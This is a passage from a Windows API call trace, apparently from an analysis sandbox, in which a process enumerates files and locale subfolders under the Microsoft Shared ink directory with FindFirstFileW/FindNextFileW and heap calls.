lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0166.186] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0166.186] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0166.186] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0166.186] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0166.582] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0166.582] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0166.582] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0166.582] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0166.582] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0166.583] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0166.583] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0166.583] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0166.586] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0166.586] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0166.587] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0166.587] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0166.587] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0166.587] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0166.587] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0166.591] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0166.591] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0166.591] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0166.591] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0166.593] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0166.593] GetProcessHeap () returned 0x6a0000 [0166.593] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0166.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.594] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.594] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.594] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.594] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.594] GetProcessHeap () returned 0x6a0000 [0166.594] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0166.594] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0166.594] GetProcessHeap () returned 0x6a0000 [0166.594] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0166.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.594] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.595] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.595] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.595] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.595] GetProcessHeap () returned 0x6a0000 [0166.595] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0166.595] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0166.595] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0166.595] GetProcessHeap () returned 0x6a0000 [0166.595] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0166.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.595] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.595] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.596] 